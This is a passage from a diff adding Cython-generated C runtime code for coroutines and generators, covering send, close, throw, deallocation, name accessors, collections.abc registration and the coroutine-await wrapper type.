__Pyx_PyObject_CallMethod1(yf, __pyx_n_s_send, value); + } + gen->is_running = 0; + if (likely(ret)) { + return ret; + } + retval = __Pyx_Coroutine_FinishDelegation(gen); + } else { + retval = __Pyx_Coroutine_SendEx(gen, value, 0); + } + return __Pyx_Coroutine_MethodReturn(self, retval); +} +static int __Pyx_Coroutine_CloseIter(__pyx_CoroutineObject *gen, PyObject *yf) { + PyObject *retval = NULL; + int err = 0; + #ifdef __Pyx_Generator_USED + if (__Pyx_Generator_CheckExact(yf)) { + retval = __Pyx_Coroutine_Close(yf); + if (!retval) + return -1; + } else + #endif + #ifdef __Pyx_Coroutine_USED + if (__Pyx_Coroutine_Check(yf)) { + retval = __Pyx_Coroutine_Close(yf); + if (!retval) + return -1; + } else + if (__Pyx_CoroutineAwait_CheckExact(yf)) { + retval = __Pyx_CoroutineAwait_Close((__pyx_CoroutineAwaitObject*)yf, NULL); + if (!retval) + return -1; + } else + #endif + #ifdef __Pyx_AsyncGen_USED + if (__pyx_PyAsyncGenASend_CheckExact(yf)) { + retval = __Pyx_async_gen_asend_close(yf, NULL); + } else + if (__pyx_PyAsyncGenAThrow_CheckExact(yf)) { + retval = __Pyx_async_gen_athrow_close(yf, NULL); + } else + #endif + { + PyObject *meth; + gen->is_running = 1; + meth = __Pyx_PyObject_GetAttrStrNoError(yf, __pyx_n_s_close); + if (unlikely(!meth)) { + if (unlikely(PyErr_Occurred())) { + PyErr_WriteUnraisable(yf); + } + } else { + retval = __Pyx_PyObject_CallNoArg(meth); + Py_DECREF(meth); + if (unlikely(!retval)) + err = -1; + } + gen->is_running = 0; + } + Py_XDECREF(retval); + return err; +} +static PyObject *__Pyx_Generator_Next(PyObject *self) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject*) self; + PyObject *yf = gen->yieldfrom; + if (unlikely(gen->is_running)) + return __Pyx_Coroutine_AlreadyRunningError(gen); + if (yf) { + PyObject *ret; + gen->is_running = 1; + #ifdef __Pyx_Generator_USED + if (__Pyx_Generator_CheckExact(yf)) { + ret = __Pyx_Generator_Next(yf); + } else + #endif + #if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03030000 && (defined(__linux__) || PY_VERSION_HEX >= 0x030600B3) + if (PyGen_CheckExact(yf)) { + ret = __Pyx_PyGen_Send((PyGenObject*)yf, NULL); + } else + #endif + #ifdef __Pyx_Coroutine_USED + if (__Pyx_Coroutine_Check(yf)) { + ret = __Pyx_Coroutine_Send(yf, Py_None); + } else + #endif + ret = __Pyx_PyObject_GetIterNextFunc(yf)(yf); + gen->is_running = 0; + if (likely(ret)) { + return ret; + } + return __Pyx_Coroutine_FinishDelegation(gen); + } + return __Pyx_Coroutine_SendEx(gen, Py_None, 0); +} +static PyObject *__Pyx_Coroutine_Close_Method(PyObject *self, PyObject *arg) { + CYTHON_UNUSED_VAR(arg); + return __Pyx_Coroutine_Close(self); +} +static PyObject *__Pyx_Coroutine_Close(PyObject *self) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + PyObject *retval, *raised_exception; + PyObject *yf = gen->yieldfrom; + int err = 0; + if (unlikely(gen->is_running)) + return __Pyx_Coroutine_AlreadyRunningError(gen); + if (yf) { + Py_INCREF(yf); + err = __Pyx_Coroutine_CloseIter(gen, yf); + __Pyx_Coroutine_Undelegate(gen); + Py_DECREF(yf); + } + if (err == 0) + PyErr_SetNone(PyExc_GeneratorExit); + retval = __Pyx_Coroutine_SendEx(gen, NULL, 1); + if (unlikely(retval)) { + const char *msg; + Py_DECREF(retval); + if ((0)) { + #ifdef __Pyx_Coroutine_USED + } else if (__Pyx_Coroutine_Check(self)) { + msg = "coroutine ignored GeneratorExit"; + #endif + #ifdef __Pyx_AsyncGen_USED + } else if (__Pyx_AsyncGen_CheckExact(self)) { +#if PY_VERSION_HEX < 0x03060000 + msg = "async generator ignored GeneratorExit - might require Python 3.6+ finalisation (PEP 525)"; +#else + msg = "async generator ignored GeneratorExit"; +#endif + #endif + } else { + msg = "generator ignored GeneratorExit"; + } + PyErr_SetString(PyExc_RuntimeError, msg); + return NULL; + } + raised_exception = PyErr_Occurred(); + if (likely(!raised_exception || __Pyx_PyErr_GivenExceptionMatches2(raised_exception, PyExc_GeneratorExit, PyExc_StopIteration))) { + if (raised_exception) PyErr_Clear(); + Py_INCREF(Py_None); + return Py_None; + } + return NULL; +} +static PyObject *__Pyx__Coroutine_Throw(PyObject *self, PyObject *typ, PyObject *val, PyObject *tb, + PyObject *args, int close_on_genexit) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + PyObject *yf = gen->yieldfrom; + if (unlikely(gen->is_running)) + return __Pyx_Coroutine_AlreadyRunningError(gen); + if (yf) { + PyObject *ret; + Py_INCREF(yf); + if (__Pyx_PyErr_GivenExceptionMatches(typ, PyExc_GeneratorExit) && close_on_genexit) { + int err = __Pyx_Coroutine_CloseIter(gen, yf); + Py_DECREF(yf); + __Pyx_Coroutine_Undelegate(gen); + if (err < 0) + return __Pyx_Coroutine_MethodReturn(self, __Pyx_Coroutine_SendEx(gen, NULL, 0)); + goto throw_here; + } + gen->is_running = 1; + if (0 + #ifdef __Pyx_Generator_USED + || __Pyx_Generator_CheckExact(yf) + #endif + #ifdef __Pyx_Coroutine_USED + || __Pyx_Coroutine_Check(yf) + #endif + ) { + ret = __Pyx__Coroutine_Throw(yf, typ, val, tb, args, close_on_genexit); + #ifdef __Pyx_Coroutine_USED + } else if (__Pyx_CoroutineAwait_CheckExact(yf)) { + ret = __Pyx__Coroutine_Throw(((__pyx_CoroutineAwaitObject*)yf)->coroutine, typ, val, tb, args, close_on_genexit); + #endif + } else { + PyObject *meth = __Pyx_PyObject_GetAttrStrNoError(yf, __pyx_n_s_throw); + if (unlikely(!meth)) { + Py_DECREF(yf); + if (unlikely(PyErr_Occurred())) { + gen->is_running = 0; + return NULL; + } + __Pyx_Coroutine_Undelegate(gen); + gen->is_running = 0; + goto throw_here; + } + if (likely(args)) { + ret = __Pyx_PyObject_Call(meth, args, NULL); + } else { + PyObject *cargs[4] = {NULL, typ, val, tb}; + ret = __Pyx_PyObject_FastCall(meth, cargs+1, 3 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET); + } + Py_DECREF(meth); + } + gen->is_running = 0; + Py_DECREF(yf); + if (!ret) { + ret = __Pyx_Coroutine_FinishDelegation(gen); + } + return __Pyx_Coroutine_MethodReturn(self, ret); + } +throw_here: + __Pyx_Raise(typ, val, tb, NULL); + return __Pyx_Coroutine_MethodReturn(self, __Pyx_Coroutine_SendEx(gen, NULL, 0)); +} +static PyObject *__Pyx_Coroutine_Throw(PyObject *self, PyObject *args) { + PyObject *typ; + PyObject *val = NULL; + PyObject *tb = NULL; + if (unlikely(!PyArg_UnpackTuple(args, (char *)"throw", 1, 3, &typ, &val, &tb))) + return NULL; + return __Pyx__Coroutine_Throw(self, typ, val, tb, args, 1); +} +static CYTHON_INLINE int __Pyx_Coroutine_traverse_excstate(__Pyx_ExcInfoStruct *exc_state, visitproc visit, void *arg) { +#if PY_VERSION_HEX >= 0x030B00a4 + Py_VISIT(exc_state->exc_value); +#else + Py_VISIT(exc_state->exc_type); + Py_VISIT(exc_state->exc_value); + Py_VISIT(exc_state->exc_traceback); +#endif + return 0; +} +static int __Pyx_Coroutine_traverse(__pyx_CoroutineObject *gen, visitproc visit, void *arg) { + Py_VISIT(gen->closure); + Py_VISIT(gen->classobj); + Py_VISIT(gen->yieldfrom); + return __Pyx_Coroutine_traverse_excstate(&gen->gi_exc_state, visit, arg); +} +static int __Pyx_Coroutine_clear(PyObject *self) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + Py_CLEAR(gen->closure); + Py_CLEAR(gen->classobj); + Py_CLEAR(gen->yieldfrom); + __Pyx_Coroutine_ExceptionClear(&gen->gi_exc_state); +#ifdef __Pyx_AsyncGen_USED + if (__Pyx_AsyncGen_CheckExact(self)) { + Py_CLEAR(((__pyx_PyAsyncGenObject*)gen)->ag_finalizer); + } +#endif + Py_CLEAR(gen->gi_code); + Py_CLEAR(gen->gi_frame); + Py_CLEAR(gen->gi_name); + Py_CLEAR(gen->gi_qualname); + Py_CLEAR(gen->gi_modulename); + return 0; +} +static void __Pyx_Coroutine_dealloc(PyObject *self) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + PyObject_GC_UnTrack(gen); + if (gen->gi_weakreflist != NULL) + PyObject_ClearWeakRefs(self); + if (gen->resume_label >= 0) { + PyObject_GC_Track(self); +#if PY_VERSION_HEX >= 0x030400a1 && CYTHON_USE_TP_FINALIZE + if (unlikely(PyObject_CallFinalizerFromDealloc(self))) +#else + Py_TYPE(gen)->tp_del(self); + if (unlikely(Py_REFCNT(self) > 0)) +#endif + { + return; + } + PyObject_GC_UnTrack(self); + } +#ifdef __Pyx_AsyncGen_USED + if (__Pyx_AsyncGen_CheckExact(self)) { + /* We have to handle this case for asynchronous generators + right here, because this code has to be between UNTRACK + and GC_Del. */ + Py_CLEAR(((__pyx_PyAsyncGenObject*)self)->ag_finalizer); + } +#endif + __Pyx_Coroutine_clear(self); + __Pyx_PyHeapTypeObject_GC_Del(gen); +} +static void __Pyx_Coroutine_del(PyObject *self) { + PyObject *error_type, *error_value, *error_traceback; + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + __Pyx_PyThreadState_declare + if (gen->resume_label < 0) { + return; + } +#if !CYTHON_USE_TP_FINALIZE + assert(self->ob_refcnt == 0); + __Pyx_SET_REFCNT(self, 1); +#endif + __Pyx_PyThreadState_assign + __Pyx_ErrFetch(&error_type, &error_value, &error_traceback); +#ifdef __Pyx_AsyncGen_USED + if (__Pyx_AsyncGen_CheckExact(self)) { + __pyx_PyAsyncGenObject *agen = (__pyx_PyAsyncGenObject*)self; + PyObject *finalizer = agen->ag_finalizer; + if (finalizer && !agen->ag_closed) { + PyObject *res = __Pyx_PyObject_CallOneArg(finalizer, self); + if (unlikely(!res)) { + PyErr_WriteUnraisable(self); + } else { + Py_DECREF(res); + } + __Pyx_ErrRestore(error_type, error_value, error_traceback); + return; + } + } +#endif + if (unlikely(gen->resume_label == 0 && !error_value)) { +#ifdef __Pyx_Coroutine_USED +#ifdef __Pyx_Generator_USED + if (!__Pyx_Generator_CheckExact(self)) +#endif + { + PyObject_GC_UnTrack(self); +#if PY_MAJOR_VERSION >= 3 || defined(PyErr_WarnFormat) + if (unlikely(PyErr_WarnFormat(PyExc_RuntimeWarning, 1, "coroutine '%.50S' was never awaited", gen->gi_qualname) < 0)) + PyErr_WriteUnraisable(self); +#else + {PyObject *msg; + char *cmsg; + #if CYTHON_COMPILING_IN_PYPY + msg = NULL; + cmsg = (char*) "coroutine was never awaited"; + #else + char *cname; + PyObject *qualname; + qualname = gen->gi_qualname; + cname = PyString_AS_STRING(qualname); + msg = PyString_FromFormat("coroutine '%.50s' was never awaited", cname); + if (unlikely(!msg)) { + PyErr_Clear(); + cmsg = (char*) "coroutine was never awaited"; + } else { + cmsg = PyString_AS_STRING(msg); + } + #endif + if (unlikely(PyErr_WarnEx(PyExc_RuntimeWarning, cmsg, 1) < 0)) + PyErr_WriteUnraisable(self); + Py_XDECREF(msg);} +#endif + PyObject_GC_Track(self); + } +#endif + } else { + PyObject *res = __Pyx_Coroutine_Close(self); + if (unlikely(!res)) { + if (PyErr_Occurred()) + PyErr_WriteUnraisable(self); + } else { + Py_DECREF(res); + } + } + __Pyx_ErrRestore(error_type, error_value, error_traceback); +#if !CYTHON_USE_TP_FINALIZE + assert(Py_REFCNT(self) > 0); + if (likely(--self->ob_refcnt == 0)) { + return; + } + { + Py_ssize_t refcnt = Py_REFCNT(self); + _Py_NewReference(self); + __Pyx_SET_REFCNT(self, refcnt); + } +#if CYTHON_COMPILING_IN_CPYTHON + assert(PyType_IS_GC(Py_TYPE(self)) && + _Py_AS_GC(self)->gc.gc_refs != _PyGC_REFS_UNTRACKED); + _Py_DEC_REFTOTAL; +#endif +#ifdef COUNT_ALLOCS + --Py_TYPE(self)->tp_frees; + --Py_TYPE(self)->tp_allocs; +#endif +#endif +} +static PyObject * +__Pyx_Coroutine_get_name(__pyx_CoroutineObject *self, void *context) +{ + PyObject *name = self->gi_name; + CYTHON_UNUSED_VAR(context); + if (unlikely(!name)) name = Py_None; + Py_INCREF(name); + return name; +} +static int +__Pyx_Coroutine_set_name(__pyx_CoroutineObject *self, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); +#if PY_MAJOR_VERSION >= 3 + if (unlikely(value == NULL || !PyUnicode_Check(value))) +#else + if (unlikely(value == NULL || !PyString_Check(value))) +#endif + { + PyErr_SetString(PyExc_TypeError, + "__name__ must be set to a string object"); + return -1; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(self->gi_name, value); + return 0; +} +static PyObject * +__Pyx_Coroutine_get_qualname(__pyx_CoroutineObject *self, void *context) +{ + PyObject *name = self->gi_qualname; + CYTHON_UNUSED_VAR(context); + if (unlikely(!name)) name = Py_None; + Py_INCREF(name); + return name; +} +static int +__Pyx_Coroutine_set_qualname(__pyx_CoroutineObject *self, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); +#if PY_MAJOR_VERSION >= 3 + if (unlikely(value == NULL || !PyUnicode_Check(value))) +#else + if (unlikely(value == NULL || !PyString_Check(value))) +#endif + { + PyErr_SetString(PyExc_TypeError, + "__qualname__ must be set to a string object"); + return -1; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(self->gi_qualname, value); + return 0; +} +static PyObject * +__Pyx_Coroutine_get_frame(__pyx_CoroutineObject *self, void *context) +{ + PyObject *frame = self->gi_frame; + CYTHON_UNUSED_VAR(context); + if (!frame) { + if (unlikely(!self->gi_code)) { + Py_RETURN_NONE; + } + frame = (PyObject *) PyFrame_New( + PyThreadState_Get(), /*PyThreadState *tstate,*/ + (PyCodeObject*) self->gi_code, /*PyCodeObject *code,*/ + __pyx_d, /*PyObject *globals,*/ + 0 /*PyObject *locals*/ + ); + if (unlikely(!frame)) + return NULL; + self->gi_frame = frame; + } + Py_INCREF(frame); + return frame; +} +static __pyx_CoroutineObject *__Pyx__Coroutine_New( + PyTypeObject* type, __pyx_coroutine_body_t body, PyObject *code, PyObject *closure, + PyObject *name, PyObject *qualname, PyObject *module_name) { + __pyx_CoroutineObject *gen = PyObject_GC_New(__pyx_CoroutineObject, type); + if (unlikely(!gen)) + return NULL; + return __Pyx__Coroutine_NewInit(gen, body, code, closure, name, qualname, module_name); +} +static __pyx_CoroutineObject *__Pyx__Coroutine_NewInit( + __pyx_CoroutineObject *gen, __pyx_coroutine_body_t body, PyObject *code, PyObject *closure, + PyObject *name, PyObject *qualname, PyObject *module_name) { + gen->body = body; + gen->closure = closure; + Py_XINCREF(closure); + gen->is_running = 0; + gen->resume_label = 0; + gen->classobj = NULL; + gen->yieldfrom = NULL; + #if PY_VERSION_HEX >= 0x030B00a4 + gen->gi_exc_state.exc_value = NULL; + #else + gen->gi_exc_state.exc_type = NULL; + gen->gi_exc_state.exc_value = NULL; + gen->gi_exc_state.exc_traceback = NULL; + #endif +#if CYTHON_USE_EXC_INFO_STACK + gen->gi_exc_state.previous_item = NULL; +#endif + gen->gi_weakreflist = NULL; + Py_XINCREF(qualname); + gen->gi_qualname = qualname; + Py_XINCREF(name); + gen->gi_name = name; + Py_XINCREF(module_name); + gen->gi_modulename = module_name; + Py_XINCREF(code); + gen->gi_code = code; + gen->gi_frame = NULL; + PyObject_GC_Track(gen); + return gen; +} + +/* PyObject_GenericGetAttrNoDict */ +#if CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP && PY_VERSION_HEX < 0x03070000 +static PyObject *__Pyx_RaiseGenericGetAttributeError(PyTypeObject *tp, PyObject *attr_name) { + __Pyx_TypeName type_name = __Pyx_PyType_GetName(tp); + PyErr_Format(PyExc_AttributeError, +#if PY_MAJOR_VERSION >= 3 + "'" __Pyx_FMT_TYPENAME "' object has no attribute '%U'", + type_name, attr_name); +#else + "'" __Pyx_FMT_TYPENAME "' object has no attribute '%.400s'", + type_name, PyString_AS_STRING(attr_name)); +#endif + __Pyx_DECREF_TypeName(type_name); + return NULL; +} +static CYTHON_INLINE PyObject* __Pyx_PyObject_GenericGetAttrNoDict(PyObject* obj, PyObject* attr_name) { + PyObject *descr; + PyTypeObject *tp = Py_TYPE(obj); + if (unlikely(!PyString_Check(attr_name))) { + return PyObject_GenericGetAttr(obj, attr_name); + } + assert(!tp->tp_dictoffset); + descr = _PyType_Lookup(tp, attr_name); + if (unlikely(!descr)) { + return __Pyx_RaiseGenericGetAttributeError(tp, attr_name); + } + Py_INCREF(descr); + #if PY_MAJOR_VERSION < 3 + if (likely(PyType_HasFeature(Py_TYPE(descr), Py_TPFLAGS_HAVE_CLASS))) + #endif + { + descrgetfunc f = Py_TYPE(descr)->tp_descr_get; + if (unlikely(f)) { + PyObject *res = f(descr, obj, (PyObject *)tp); + Py_DECREF(descr); + return res; + } + } + return descr; +} +#endif + +/* PatchModuleWithCoroutine */ +static PyObject* __Pyx_Coroutine_patch_module(PyObject* module, const char* py_code) { +#if defined(__Pyx_Generator_USED) || defined(__Pyx_Coroutine_USED) + int result; + PyObject *globals, *result_obj; + globals = PyDict_New(); if (unlikely(!globals)) goto ignore; + result = PyDict_SetItemString(globals, "_cython_coroutine_type", + #ifdef __Pyx_Coroutine_USED + (PyObject*)__pyx_CoroutineType); + #else + Py_None); + #endif + if (unlikely(result < 0)) goto ignore; + result = PyDict_SetItemString(globals, "_cython_generator_type", + #ifdef __Pyx_Generator_USED + (PyObject*)__pyx_GeneratorType); + #else + Py_None); + #endif + if (unlikely(result < 0)) goto ignore; + if (unlikely(PyDict_SetItemString(globals, "_module", module) < 0)) goto ignore; + if (unlikely(PyDict_SetItemString(globals, "__builtins__", __pyx_b) < 0)) goto ignore; + result_obj = PyRun_String(py_code, Py_file_input, globals, globals); + if (unlikely(!result_obj)) goto ignore; + Py_DECREF(result_obj); + Py_DECREF(globals); + return module; +ignore: + Py_XDECREF(globals); + PyErr_WriteUnraisable(module); + if (unlikely(PyErr_WarnEx(PyExc_RuntimeWarning, "Cython module failed to patch module with custom type", 1) < 0)) { + Py_DECREF(module); + module = NULL; + } +#else + py_code++; +#endif + return module; +} + +/* PatchGeneratorABC */ +#ifndef CYTHON_REGISTER_ABCS +#define CYTHON_REGISTER_ABCS 1 +#endif +#if defined(__Pyx_Generator_USED) || defined(__Pyx_Coroutine_USED) +static PyObject* __Pyx_patch_abc_module(PyObject *module); +static PyObject* __Pyx_patch_abc_module(PyObject *module) { + module = __Pyx_Coroutine_patch_module( + module, "" +"if _cython_generator_type is not None:\n" +" try: Generator = _module.Generator\n" +" except AttributeError: pass\n" +" else: Generator.register(_cython_generator_type)\n" +"if _cython_coroutine_type is not None:\n" +" try: Coroutine = _module.Coroutine\n" +" except AttributeError: pass\n" +" else: Coroutine.register(_cython_coroutine_type)\n" + ); + return module; +} +#endif +static int __Pyx_patch_abc(void) { +#if defined(__Pyx_Generator_USED) || defined(__Pyx_Coroutine_USED) + static int abc_patched = 0; + if (CYTHON_REGISTER_ABCS && !abc_patched) { + PyObject *module; + module = PyImport_ImportModule((PY_MAJOR_VERSION >= 3) ? "collections.abc" : "collections"); + if (unlikely(!module)) { + PyErr_WriteUnraisable(NULL); + if (unlikely(PyErr_WarnEx(PyExc_RuntimeWarning, + ((PY_MAJOR_VERSION >= 3) ? + "Cython module failed to register with collections.abc module" : + "Cython module failed to register with collections module"), 1) < 0)) { + return -1; + } + } else { + module = __Pyx_patch_abc_module(module); + abc_patched = 1; + if (unlikely(!module)) + return -1; + Py_DECREF(module); + } + module = PyImport_ImportModule("backports_abc"); + if (module) { + module = __Pyx_patch_abc_module(module); + Py_XDECREF(module); + } + if (!module) { + PyErr_Clear(); + } + } +#else + if ((0)) __Pyx_Coroutine_patch_module(NULL, NULL); +#endif + return 0; +} + +/* Coroutine */ +static void __Pyx_CoroutineAwait_dealloc(PyObject *self) { + PyObject_GC_UnTrack(self); + Py_CLEAR(((__pyx_CoroutineAwaitObject*)self)->coroutine); + __Pyx_PyHeapTypeObject_GC_Del(self); +} +static int __Pyx_CoroutineAwait_traverse(__pyx_CoroutineAwaitObject *self, visitproc visit, void *arg) { + Py_VISIT(self->coroutine); + return 0; +} +static int __Pyx_CoroutineAwait_clear(__pyx_CoroutineAwaitObject *self) { + Py_CLEAR(self->coroutine); + return 0; +} +static PyObject *__Pyx_CoroutineAwait_Next(__pyx_CoroutineAwaitObject *self) { + return __Pyx_Generator_Next(self->coroutine); +} +static PyObject *__Pyx_CoroutineAwait_Send(__pyx_CoroutineAwaitObject *self, PyObject *value) { + return __Pyx_Coroutine_Send(self->coroutine, value); +} +static PyObject *__Pyx_CoroutineAwait_Throw(__pyx_CoroutineAwaitObject *self, PyObject *args) { + return __Pyx_Coroutine_Throw(self->coroutine, args); +} +static PyObject *__Pyx_CoroutineAwait_Close(__pyx_CoroutineAwaitObject *self, PyObject *arg) { + CYTHON_UNUSED_VAR(arg); + return __Pyx_Coroutine_Close(self->coroutine); +} +static PyObject *__Pyx_CoroutineAwait_self(PyObject *self) { + Py_INCREF(self); + return self; +} +#if !CYTHON_COMPILING_IN_PYPY +static PyObject *__Pyx_CoroutineAwait_no_new(PyTypeObject *type, PyObject *args, PyObject *kwargs) { + CYTHON_UNUSED_VAR(type); + CYTHON_UNUSED_VAR(args); + CYTHON_UNUSED_VAR(kwargs); + PyErr_SetString(PyExc_TypeError, "cannot instantiate type, use 'await coroutine' instead"); + return NULL; +} +#endif +static PyObject *__Pyx_CoroutineAwait_reduce_ex(__pyx_CoroutineAwaitObject *self, PyObject *arg) { + CYTHON_UNUSED_VAR(arg); + PyErr_Format(PyExc_TypeError, "cannot pickle '%.200s' object", + Py_TYPE(self)->tp_name); + return NULL; +} +static PyMethodDef __pyx_CoroutineAwait_methods[] = { + {"send", (PyCFunction) __Pyx_CoroutineAwait_Send, METH_O, + (char*) PyDoc_STR("send(arg) -> send 'arg' into coroutine,\nreturn next yielded value or raise StopIteration.")}, + {"throw", (PyCFunction) __Pyx_CoroutineAwait_Throw, METH_VARARGS, + (char*) PyDoc_STR("throw(typ[,val[,tb]]) -> raise exception in coroutine,\nreturn next yielded value or raise StopIteration.")}, + {"close", (PyCFunction) __Pyx_CoroutineAwait_Close, METH_NOARGS, + (char*) PyDoc_STR("close() -> raise GeneratorExit inside coroutine.")}, + {"__reduce_ex__", (PyCFunction) __Pyx_CoroutineAwait_reduce_ex, METH_O, 0}, + {"__reduce__", (PyCFunction) __Pyx_CoroutineAwait_reduce_ex, METH_NOARGS, 0}, + {0, 0, 0, 0} +}; +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_CoroutineAwaitType_slots[] = { + {Py_tp_dealloc, (void *)__Pyx_CoroutineAwait_dealloc}, + {Py_tp_traverse, (void *)__Pyx_CoroutineAwait_traverse}, + {Py_tp_clear, (void *)__Pyx_CoroutineAwait_clear}, +#if !CYTHON_COMPILING_IN_PYPY + {Py_tp_new, (void *)__Pyx_CoroutineAwait_no_new}, +#endif + {Py_tp_methods, (void *)__pyx_CoroutineAwait_methods}, + {Py_tp_iter, (void *)__Pyx_CoroutineAwait_self}, + {Py_tp_iternext, (void *)__Pyx_CoroutineAwait_Next}, + {0, 0}, +}; +static PyType_Spec __pyx_CoroutineAwaitType_spec = { + __PYX_TYPE_MODULE_PREFIX "coroutine_wrapper", + sizeof(__pyx_CoroutineAwaitObject), + 0, + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC, + __pyx_CoroutineAwaitType_slots +}; +#else +static PyTypeObject __pyx_CoroutineAwaitType_type = { + PyVarObject_HEAD_INIT(0, 0) + __PYX_TYPE_MODULE_PREFIX "coroutine_wrapper", + sizeof(__pyx_CoroutineAwaitObject), + 0, + (destructor) __Pyx_CoroutineAwait_dealloc, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC, + PyDoc_STR("A wrapper object implementing __await__ for coroutines."), + (traverseproc) __Pyx_CoroutineAwait_traverse, + (inquiry) __Pyx_CoroutineAwait_clear, + 0, + 0, + __Pyx_CoroutineAwait_self, + (iternextfunc) __Pyx_CoroutineAwait_Next, + __pyx_CoroutineAwait_methods, + 0 , + 0 , + 0, + 0, + 0, + 0, + 0, + 0, + 0, +#if !CYTHON_COMPILING_IN_PYPY + __Pyx_CoroutineAwait_no_new, +#else + 0, +#endif + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, +#if PY_VERSION_HEX >= 0x030400a1 + 0, +#endif +#if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, +#endif +#if __PYX_NEED_TP_PRINT_SLOT + 0, +#endif +#if PY_VERSION_HEX >= 0x030C0000 + 0, +#endif +#if PY_VERSION_HEX >= 0x030d00A4 + 0, +#endif +#if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, +#endif +}; +#endif +#if PY_VERSION_HEX < 0x030500B1 || defined(__Pyx_IterableCoroutine_USED) || CYTHON_USE_ASYNC_SLOTS +static CYTHON_INLINE PyObject *__Pyx__Coroutine_await(PyObject *coroutine) { + __pyx_CoroutineAwaitObject *await = PyObject_GC_New(__pyx_CoroutineAwaitObject, __pyx_CoroutineAwaitType); + if (unlikely(!await)) return NULL; + Py_INCREF(coroutine); + await->coroutine = coroutine; + PyObject_GC_Track(await); + return (PyObject*)await; +} +#endif +#if PY_VERSION_HEX < 0x030500B1 +static PyObject *__Pyx_Coroutine_await_method(PyObject *coroutine, PyObject *arg) { + CYTHON_UNUSED_VAR(arg); + return __Pyx__Coroutine_await(coroutine); +} +#endif +#if defined(__Pyx_IterableCoroutine_USED) || CYTHON_USE_ASYNC_SLOTS +static PyObject *__Pyx_Coroutine_await(PyObject *coroutine) { + if (unlikely(!coroutine || !__Pyx_Coroutine_Check(coroutine))) { + PyErr_SetString(PyExc_TypeError, "invalid input, expected coroutine"); + return NULL; + } + return __Pyx__Coroutine_await(coroutine); +} +#endif +#if CYTHON_COMPILING_IN_CPYTHON && PY_MAJOR_VERSION >= 3 && PY_VERSION_HEX < 0x030500B1 +static PyObject *__Pyx_Coroutine_compare(PyObject *obj, PyObject *other, int op) { + PyObject* result; + switch (op) { + case Py_EQ: result = (other == obj) ? Py_True : Py_False; break; + case Py_NE: result = (other != obj) ? Py_True : Py_False; break; + default: + result = Py_NotImplemented; + } + Py_INCREF(result); + return result; +} +#endif +static PyMethodDef __pyx_Coroutine_methods[] = { + {"send", (PyCFunction) __Pyx_Coroutine_Send, METH_O, + (char*) PyDoc_STR("send(arg) -> send 'arg' into coroutine,\nreturn next iterated value or raise StopIteration.")}, + {"throw", (PyCFunction) __Pyx_Coroutine_Throw, METH_VARARGS, + (char*) PyDoc_STR("throw(typ[,val[,tb]]) -> raise exception in coroutine,\nreturn next iterated value or raise StopIteration.")}, + {"close", (PyCFunction) __Pyx_Coroutine_Close_Method, METH_NOARGS, + (char*) PyDoc_STR("close() -> raise GeneratorExit inside coroutine.")}, +#if PY_VERSION_HEX < 0x030500B1 + {"__await__", (PyCFunction) __Pyx_Coroutine_await_method, METH_NOARGS, + (char*) PyDoc_STR("__await__() -> return an iterator to be used in await expression.")}, +#endif + {0, 0, 0, 0} +}; +static PyMemberDef __pyx_Coroutine_memberlist[] = { + {(char *) "cr_running", T_BOOL, offsetof(__pyx_CoroutineObject, is_running), READONLY, NULL}, + {(char*) "cr_await", T_OBJECT, offsetof(__pyx_CoroutineObject, yieldfrom), READONLY, + (char*) PyDoc_STR("object being awaited, or None")}, + {(char*) "cr_code", T_OBJECT, offsetof(__pyx_CoroutineObject, gi_code), READONLY, NULL}, + {(char *) "__module__", T_OBJECT, offsetof(__pyx_CoroutineObject, gi_modulename), 0, 0}, +#if CYTHON_USE_TYPE_SPECS + {(char *) "__weaklistoffset__", T_PYSSIZET, offsetof(__pyx_CoroutineObject, gi_weakreflist), READONLY, 0}, +#endif + {0, 0, 0, 0, 0} +}; +static PyGetSetDef __pyx_Coroutine_getsets[] = { + {(char *) "__name__", (getter)__Pyx_Coroutine_get_name, (setter)__Pyx_Coroutine_set_name, + (char*) PyDoc_STR("name of the coroutine"), 0}, + {(char *) "__qualname__", (getter)__Pyx_Coroutine_get_qualname, (setter)__Pyx_Coroutine_set_qualname, + (char*) PyDoc_STR("qualified name of the coroutine"), 0}, + {(char *) "cr_frame", (getter)__Pyx_Coroutine_get_frame, NULL, + (char*) PyDoc_STR("Frame of the coroutine"), 0}, + {0, 0, 0, 0, 0} +}; +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_CoroutineType_slots[] = { + {Py_tp_dealloc, (void *)__Pyx_Coroutine_dealloc}, + {Py_am_await, (void *)&__Pyx_Coroutine_await}, + {Py_tp_traverse, (void *)__Pyx_Coroutine_traverse}, + {Py_tp_methods, (void *)__pyx_Coroutine_methods}, + {Py_tp_members, (void *)__pyx_Coroutine_memberlist}, + {Py_tp_getset, (void *)__pyx_Coroutine_getsets}, + {Py_tp_getattro, (void *) __Pyx_PyObject_GenericGetAttrNoDict}, +#if CYTHON_USE_TP_FINALIZE + {Py_tp_finalize, (void *)__Pyx_Coroutine_del}, +#endif + {0, 0}, +}; +static PyType_Spec __pyx_CoroutineType_spec = { + __PYX_TYPE_MODULE_PREFIX "coroutine", + sizeof(__pyx_CoroutineObject), + 0, + 